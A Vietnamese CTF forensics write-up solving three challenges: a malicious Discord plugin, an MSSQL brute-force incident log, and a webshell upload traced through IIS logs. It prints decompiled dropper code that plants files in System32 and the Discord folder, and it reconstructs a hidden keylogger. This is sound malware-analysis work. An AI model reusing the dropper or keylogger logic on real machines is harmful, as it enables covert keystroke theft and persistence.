# KMA CTF 2025 WRITEUP [Forensics]
## Forever 3.14

Tải file `ib` về và mở bằng Notepad xem thử thì thấy đây là file `eml`. Ném thử lên web [EML Viewer Online](https://www.emlreader.com/) thì lại chỉ thấy có 1 mail, trông không đúng lắm vì khi đọc bằng Notepad thì thấy rất dài ._.

Quay ra đọc chay bằng Notepad thì thấy 1 đoạn base64 dài, phía trên là 1 mail đến từ `theonlyneevec@gmail.com` với nội dung gì đó liên quan tới Discord

Thử xóa hết phía trên của mail rồi ném lên EML Viewer thì thấy nội dung như sau, có 1 file `zip` đính kèm trông khá là sus

Giải nén file zip đính kèm trong mail là 1 file zip khác, với password là `betterfordiscord` được ghi trong `guide.txt`

Tiếp tục giải nén có được 1 file `Plugin.exe`, pack bằng PyInstaller, và một file binary `config.sys`

Dùng [PyInstaller Extractor](https://pyinstxtractor-web.netlify.app/) để unpack rồi ném file `Plugin.pyc` lên PyLingual đọc thử thì thấy như sau

Script này thực hiện base64 decode đoạn string `z` rồi deserialize đoạn mã nhị phân vừa được decode thành python bytecode rồi thực thi.
Tiến hành viết script đưa string `z` về file pyc để phân tích tiếp:
```python!=
import base64
import marshal
import dis
z = '[insert base64 string here]'
c = marshal.loads(base64.b64decode(z))
with open("bytecode.pyc", "wb") as pyc:
# Write pyc header (Python 3.7)
pyc.write(b'\x42\x0d\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
# Write the code object
marshal.dump(c, pyc)
```
Sau khi có được file pyc, ném lên Pylingual thì bị kêu code dài quá mài tự decompile manually đi ._.

Ta sử dụng pycdc để decompile file pyc trên, thu được code như sau
```python!=
import os
import base64
with open('config.sys', 'rb') as f:
data = f.read()
k1 = base64.b64decode('/yD2eJUB/oY=')
k2 = base64.b64decode('2trmXMrwyg==')
data2 = b''.join((lambda .0: [ int.to_bytes(data[i] ^ k1[i % len(k1)], 1, 'big') for i in .0 ])(range(len(data))))
n = ''.join((lambda .0: [ chr(i >> 1) for i in .0 ])(k2))
with open(n, 'wb') as f:
f.write(data2)
k3 = 'lld.21d3d'
k3 = k3[::-1]
k4 = [
178,
130,
... //dài quá ._.
1,
237,
255]
k5 = [
255,
216,
255,
224,
255,
1,
237]
d2 = b''.join((lambda .0: [ int.to_bytes(k4[i] ^ k5[i % len(k5)], 1, 'big') for i in .0 ])(range(len(k4))))
with open(k3, 'wb') as f:
f.write(d2)
try:
fl = os.getenv('USERPROFILE') + '\\Ap' + 'p' + 'dat' + 'a\\Lo' + 'cal' + '\\D' + 'is' + 'cor' + 'd'
except:
exit(0)
sfl = (lambda .0: [ f.path for f in .0 if f.is_dir() ])(os.scandir(fl))
for i in sfl:
if 'app' in i:
os.system(f'''move {k3} {i}''')
os.system(f'''move {n} C:\\Windows\\System32''')
```
Script decrypt file binary (ra file `mms.exe`)
```python!=
import base64
def decrypt_config(config_data):
# First key from base64
k1 = base64.b64decode('/yD2eJUB/oY=')
# Second key from base64
k2 = base64.b64decode('2trmXMrwyg==')
# First layer - XOR with k1
data = b''.join(int.to_bytes(config_data[i] ^ k1[i % len(k1)], 1, 'big')
for i in range(len(config_data)))
# Second layer - get filename by right-shifting k2
filename = ''.join(chr(i >> 1) for i in k2)
return data, filename
with open('config.sys', 'rb') as f:
config_data = f.read()
decrypted_data, filename = decrypt_config(config_data)
with open('decrypted_' + filename, 'wb') as f:
f.write(decrypted_data)
```
Decrypt ra file `d3d12.dll` (để solve bài này thì không cần dùng tới file dll này)
```python!=
def decrypt_dll():
k5 = [255, 216, 255, 224, 255, 1, 237]
# Long ahh array k4 from source
k4 = [
178,
130,
...
237,
255]
# XOR k4 with k5 to get DLL
dll_data = b''.join(int.to_bytes(k4[i] ^ k5[i % len(k5)], 1, 'big')
for i in range(len(k4)))
with open('decrypted_d3d12.dll', 'wb') as f:
f.write(dll_data)
print("Decrypted DLL saved to: decrypted_d3d12.dll")
decrypt_dll()
```

Hàm main() của `mms.exe`:
```cpp!=
// Hidden C++ exception states: #wind=1
int __fastcall main(int argc, const char **argv, const char **envp)
{
HWND ConsoleWindow; // rax
__int64 v4; // rax
int i; // ebx
int v6; // eax
_BYTE v8[40]; // [rsp+28h] [rbp-160h] BYREF
_BYTE v9[16]; // [rsp+50h] [rbp-138h] BYREF
_BYTE v10[272]; // [rsp+60h] [rbp-128h] BYREF
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow, SW_HIDE);
v4 = sub_140002460(v8, "Microft Version Stub_");
sub_140001470(v4);
while ( 1 )
{
Sleep(0xAu);
for ( i = 8; i <= 254; ++i )
{
if ( GetAsyncKeyState(i) == -32767 && !(unsigned __int8)sub_140001550((unsigned int)i) )
{
sub_140001540(v9);
sub_1400023B0(v9);
sub_1400022F0(v9);
if ( (unsigned __int8)sub_140002340(v9) )
{
v6 = rand();
i ^= v6 % 255;
sub_140002D10(v10, (unsigned __int8)(v6 % 255));
sub_140002D10(v10, (unsigned __int8)i);
sub_1400022B0(v9);
}
sub_140001510(v9);
}
}
}
}
```
Đọc qua thì thấy có gọi API GetAsyncKeyState(), trong hàm sub_1400022F0() có gọi hàm sub_1400028D0(), nội dung như sau:
```cpp!=
__int64 __fastcall sub_1400028D0(__int64 a1)
{
struct _iobuf *v2; // rax
__int64 v3; // rax
__int64 v4; // rax
_BYTE v6[24]; // [rsp+20h] [rbp-18h] BYREF
if ( *(_QWORD *)(a1 + 128) )
return 0LL;
v2 = std::_Fiopen("msstub.dat", 8, 64);
if ( !v2 )
return 0LL;
sub_140002790(a1, v2, 1LL);
v3 = std::streambuf::getloc(a1, v6);
v4 = sub_140002F00(v3);
sub_140002640(a1, v4);
sub_140001360(v6);
return a1;
}
```
Hàm sub_140001550():
```cpp!=
char __fastcall sub_140001550(int n189)
{
const char *@CBS; // rdx
__int64 v2; // rax
int n2; // ecx
__int64 v5; // rax
_BYTE v6[32]; // [rsp+20h] [rbp-20h] BYREF
if ( n189 > 189 )
{
n2 = n189 - 219;
if ( n2 )
{
if ( n2 != 2 )
return 0;
@CBS = "@CBS";
}
else
{
@CBS = "@OBS";
}
LABEL_24:
v5 = sub_140002460(v6, @CBS);
sub_140001470(v5);
return 1;
}
else
{
if ( n189 != 189 )
{
switch ( n189 )
{
case -66:
@CBS = "@DS";
goto LABEL_24;
case 2:
@CBS = "@RC";
goto LABEL_24;
case 8:
@CBS = "@BS";
goto LABEL_24;
case 9:
@CBS = "@TS";
goto LABEL_24;
case 13:
@CBS = "@LFS";
goto LABEL_24;
case 16:
@CBS = "@SF";
goto LABEL_24;
case 17:
@CBS = "@CTS";
goto LABEL_24;
case 18:
@CBS = "@ALS";
goto LABEL_24;
case 20:
@CBS = "@CS";
goto LABEL_24;
case 32:
@CBS = "@SS";
goto LABEL_24;
case 37:
@CBS = "@LS";
goto LABEL_24;
case 38:
@CBS = "@US";
goto LABEL_24;
case 39:
@CBS = "@RS";
goto LABEL_24;
case 40:
@CBS = "@DWS";
goto LABEL_24;
default:
return 0;
}
}
v2 = sub_140002460(v6, "@UDS");
sub_140001470(v2);
return 0;
}
}
```
Có vẻ đây là một con keylogger, cách hoạt động của nó cơ bản như sau:
- Đầu tiên kích hoạt một cửa sổ cmd, rồi ẩn nó đi
- Khởi tạo biến v4, có string `Microft Version Stub_`, rồi ghi nó vào file `msstub.dat`
- Bắt đầu khởi tạo vòng lặp với `i = 8`, tới `i = 254`
- Nếu có lệnh từ bàn phím (dùng API GetAsyncKeyState) và phím đó nằm ngoài filter từ hàm sub_140001550() thì sẽ encrypt bằng cách
+ Tạo random biến v6
+ xor keycode (của phím vừa nhấn) với `v6 % 255`, cho vào biến `i`
+ ghép `v6 % 255` với `i` thành 2 bytes
- Sau đó ghi 2 bytes vừa rồi vào file `msstub.dat`
- Nếu phím vừa nhấn nằm trong list filter của hàm sub_140001550() thì ghi thẳng string đã được định nghĩa trong hàm sub_140001550() vào file `msstub.dat`
Rename lại một số hàm có trong hàm main():
```cpp!=
// Hidden C++ exception states: #wind=1
int __fastcall main(int argc, const char **argv, const char **envp)
{
HWND ConsoleWindow; // rax
__int64 inited; // rax
int i; // ebx
int v6; // eax
_BYTE v8[40]; // [rsp+28h] [rbp-160h] BYREF
_QWORD p_ContextRecord[2]; // [rsp+50h] [rbp-138h] BYREF
_BYTE v10[272]; // [rsp+60h] [rbp-128h] BYREF
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow, SW_HIDE);
inited = InitLogHeader((__int64)v8, (__int64)"Microft Version Stub_");
WriteLogHeader(inited);
while ( 1 )
{
Sleep('\n');
for ( i = 8; i <= 254; ++i )
{
if ( GetAsyncKeyState(i) == -32767 && !IsKeyFiltered(i) )
{
ClearKeyLogStruct((struct _CONTEXT *)p_ContextRecord);
FillKeyLogMetadata(p_ContextRecord);
SerializeKeyLog((__int64)p_ContextRecord);
if ( ShouldLogKey((__int64)p_ContextRecord) )
{
v6 = rand();
i ^= v6 % 255;
AppendObfuscatedKey((__int64)v10, v6 % 255);
AppendObfuscatedKey((__int64)v10, i);
SendKeyLog((__int64)p_ContextRecord);
}
CleanupKeyLogStruct((__int64)p_ContextRecord);
}
}
}
}
```
Quên mất đề còn file `challenge` nặng 2GB trong link drive ._.
Đây là file mem dump từ máy của victim. Dùng MemprocFS bật mode forensic để lấy nốt file `msstub.dat` ra decrypt. Theo như script python trên thì nó nằm cùng thư mục với Discord ở `\Users\TungTungTungSahur\AppData\Local\Discord\app-1.0.9191`

Đây là script giải mã:
```python!=
file_path = "msstub.dat"
with open(file_path, "rb") as f:
content = f.read()
def decrypt_msstub_from_data(data: bytes) -> bytes:
header = b"Microft Version Stub_"
if not data.startswith(header):
raise ValueError("Invalid file header.")
payload = data[len(header):]
filters = {
b"@SS", b"@LFS", b"@SF", b"@BS", b"@RC", b"@CS", b"@TS", b"@US",
b"@DWS", b"@LS", b"@RS", b"@CTS", b"@OBS", b"@CBS", b"@UDS"
}
i = 0
output = bytearray()
buffer = bytearray()
while i < len(payload):
matched = False
for f in filters:
if payload[i:i+len(f)] == f:
for j in range(0, len(buffer) - 1, 2):
output.append(buffer[j] ^ buffer[j+1])
if len(buffer) % 2 == 1:
output.append(buffer[-1])
buffer.clear()
output.extend(f)
i += len(f)
matched = True
break
if not matched:
buffer.append(payload[i])
i += 1
for j in range(0, len(buffer) - 1, 2):
output.append(buffer[j] ^ buffer[j+1])
if len(buffer) % 2 == 1:
output.append(buffer[-1])
return bytes(output)
decrypted_data = decrypt_msstub_from_data(content)
decoded_readable = ''.join(chr(b) if 32 <= b <= 126 else ' ' for b in decrypted_data)
print(decoded_readable)
```
Thu được output như sau:
```!
NOTEPAD@LFS@SF @SFKMACTF@SF @OBS@SF A@SF @UDS @SF I@SF @UDS @SF @SF U @SF@UDS E@SF @UDS OKAH@BS@BSASHI@UDS SHITA@UDS @SF K4@SF K1@SF @UDS KUU@BS@BS@SF UU@SF @UDS @SF KK3@SF @SF @SF @UDS K0@SF NN4@SF @UDS N1@SF @UDS M0@SF @BS@BS@SF M0@SF @CBSD@BS@SF Y@LFS@CTS H@SF Y
```
Xử lý lại theo cú pháp sẽ thu được flag
```
KMACTF{A_I_U_E_OKASHI_SHITA_K4K1_KUU_KK3_K0NN4_N1_M0}
```
P.S.
File `ib` ở trên không phải là file `.eml` mà là file `.mbox` (`.eml` chỉ là 1 thư, còn `.mbox` chứa nhiều thư trong cùng 1 file)
Mở bằng mbox viewer sẽ thấy đầy đủ nội dung:

## Analyzer

### Chuẩn bị
- Dùng [Hayabusa](https://github.com/Yamato-Security/hayabusa) để tạo file csv timeline theo rule có sẵn từ Windows Event Log (.evtx)
> Đọc chay bằng Event Viewer cũng được, personal preference
### 1. Which account was successfully compromised by the attacker?
> Answer: sa
Bình thường thì MSSQL log về event login failed (event id 18456) sẽ kiểu như hình dưới, có nói rõ `Login failed for user 'xxx'. Reason: Password did not match...`

Tuy nhiên trong event log được cung cấp thì chỉ thể hiện như này

Và timeline xuất ra bằng Hayabusa
```!
Binary: 184800000E00000010000000570049004E002D004D0030004C005300320032005400340045004B0048000000070000006D00610073007400650072000000 ¦ Data[1]: sa ¦ Data[2]: Reason: Password did not match that for the login provided. ¦ Data[3]: [CLIENT: 192.168.174.134]
```
Tóm lại thì user đang bị Brute Force mật khẩu là user `sa` (system administrator - user mặc định sysadmin trên MSSQL)
### 2. What technique from the MITRE ATT&CK framework did the attacker use to compromise the account?
> T1110
Có thể thấy một đống log login failed do sai mật khẩu nên đây là kỹ thuật Brute Force, với ID là `T1110`
https://attack.mitre.org/techniques/T1110/
### 3. How many failed login attempts were recorded?
Tầm 44904 44905 lần gì đó ( filter event id 18456 thì có 44905 dòng, chắc là 1 dòng login thành công)
> Answer: 44904

### 4. When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07
> Answer: 2025-03-09_15:37:05
Search cmd thì ra được log những lần sử dụng cmd

### 5. What is the path to the executable file that the attacker used for privilege escalation?
> Answer: c:\users\public\printspoofer64.exe
Ở gần cuối timeline có log Powershell giải nén file `master.zip` trong `c:\users\public`
Trong file `All Windows.System.Amcache%2FInventoryApplicationFile.csv`, nhìn qua thì thấy có quả `mimikatz.exe` nằm trong `c:\users\public\`, search thử xem trong đấy còn gì không thì có thêm `nc.exe` và `printspoofer64.exe`, trong đó `printspoofer64.exe` là công cụ abuse Print Spooler để leo quyền trên Windows 10
https://github.com/itm4n/PrintSpoofer

### 6. What account did the attacker create to maintain persistence?
> Answer: admin
Search xem có event account created nào không thì có luôn

### 7. What tool did the attacker use for data exfiltration?(lowercase)
> Answer: rclone.exe
Lúc đầu đoán có vẻ như `nc.exe` được dùng để tuồn dữ liệu ra nhưng không phải, xem lại ở cuối log thấy còn `rclone.exe`, thường dùng để backup, upload file.

```!
1. Which account was successfully compromised by the attacker?
Answer: sa
Correct!!
2. What technique from the MITRE ATT&CK framework did the attacker use to compromise the account?
Answer: T1110
Correct!!
3. How many failed login attempts were recorded?
Answer: 44904
Correct!!
4. When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07
Answer: 2025-03-09_15:37:05
Correct!!
5. What is the path to the executable file that the attacker used for privilege escalation?
Answer: c:\users\public\printspoofer64.exe
Correct!!
6. What account did the attacker create to maintain persistence?
Answer: admin
Correct!!
7. What tool did the attacker use for data exfiltration?(lowercase)
Answer: rclone.exe
Correct!!
Flag: KMACTF{k1ng_of_analysis_l0g}
```
## Guessing

Chuẩn bị: Script parse hết file log ra csv để dùng csv-timeline xử lý
Hint của author về webshell:

Dựa vào hint của author, có thể thấy timeline của các file đều vào ngày `15/05/2024`, ta filter ngày này để kiểm tra.
Thêm vào đó, quả `nhanvienpro.aspx` trông khá là sus, search thử rồi xem các sự kiện gần đấy có gì

Quy trình khai thác lỗi Upload file sẽ là: Attacker POST file lên web, sau đó GET file về, nếu upload thành công thì sẽ trả về status 200
File `nhanvienpro.aspx` POST lên trong directory `/Thu_Vien/`, tiến hành search `Thu_Vien` để kiểm tra, thấy có upload `k.aspx`, `Donvi.aspx`, `Nhanvien2.aspx`, ...

Sau đó bỏ filter method POST để xem có cái GET nào gần đấy trả về status 200 không. Thấy GET file `k.aspx` đầu tiên lúc `02:40:43` trả về status 200, đây chính là lúc attacker upload thành công webshell đầu tiên.
Tiếp tục bỏ filter tìm `/Thu_Vien/` để check xem trước đó file được dùng để POST `k.aspx` lên là gì, ta có `ThuVien.aspx` đã POST lên thành công, vậy đây là file mà attacker lợi dụng để upload webshell

Flag:
```
KMACTF{2024-05-15_02:40:43_ThuVien.aspx}
```